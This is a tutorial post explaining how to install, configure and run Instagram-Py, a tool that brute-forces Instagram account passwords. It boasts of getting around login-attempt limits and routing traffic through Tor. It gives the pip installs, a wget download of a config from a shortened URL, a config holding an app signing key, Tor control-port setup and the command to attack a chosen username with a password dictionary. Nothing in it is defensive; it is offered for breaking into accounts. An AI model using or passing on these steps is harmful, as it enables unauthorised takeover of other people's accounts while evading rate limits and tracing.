Instagram-py: script to perform brute force on instagram accounts [Tutorial]

Instagram-Py is a Python script to perform a basic brute-force attack on Instagram, this script can bypass the login limitation on incorrect passwords, so you can basically test an infinite number of passwords. 
Instagram-Py is tested and can try 6M passwords in a single instagram account with as few resources as possible. This script mimics the activities of the official Instagram application and sends the request to Tor to be sure, but if your installation is incorrectly configured, then the fault lies with you

Dependencies of: python3, tor, requests, requests [socks], stem

Installing

I performed the installation using pip as indicated in the documentation of the official repository.

But before you start check which version of python you have, you need python 3.6 or higher.

user @ computer: $ python3 -V

then we verify what version we have of pip

user @ computer: $ pip -V

in case you have pip for python 2.7 (as it happened to me). install pip3

user @ computer: $ sudo apt-get install python3-pip

Once finished installing, follow these instructions

user @ computer: $ 
$ sudo easy_install3 -U pip 
$ sudo pip3 install requests --upgrade 
$ sudo pip3 install requests [socks] 
$ sudo pip3 install stem 
$ sudo pip3 install instagram-py 
$ instagram-py # installed successfully 
$ # this file will be downloaded directly to your HOME folder 
$ wget -O ~ / instapy-config.json "https://git.io/v5DGy"

configuring instagram-py

Open your configuration file that is located in your home directory, this file is very important located in ~ / instapy-config.json, do not change anything except the configuration tor

user @ computer: $ $ leafpad ~ / instapy-config.json # open it with your favorite text editor!

Contents of the file

{
 "api-url": "https://i.instagram.com/api/v1/",
 "user-agent": "Instagram 10.26.0 Android (18 / 4.3; 320dp .....",
 "ig-sig-key": "4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178",
 "ig-sig-version": "4",
 "tor": {
    "server": "127.0.0.1",
    "port": "9050",
    "protocol": "socks5",
    "control" : {
          "password": "",
          "port": "9051"
      }
  }

}

api-url: do not change this unless you know what you're doing 
user-agent: do not change this unless you know your things 
ig-sig_key: never change this unless it's a new version, this is extracted from the instagram apk file 
tor: change everything according to the configuration of your tor server, do not make mistakes!

Configure the Tor server to open the control port

open your tor configuration file usually located in / etc / tor / torrc

user @ computer: $ sudo leafpad / etc / tor / torrc # open it with your favorite text editor!

look for ControlPort and decompose it by removing the pad and save it.

user @ computer: $ ## The port on which Tor will listen for local connections from Tor 
## controller applications, as documented in control-spec.txt. 
ControlPort 9051

since you have everything ready, first you execute Tor

tor

Once tor is executed in the background, you run the script

user @ computer: $ instagram-py --username [IG username] --password-list [name of the txt with passwords]

PS: They need a good dictionary to crack the passwords.

Download Click Here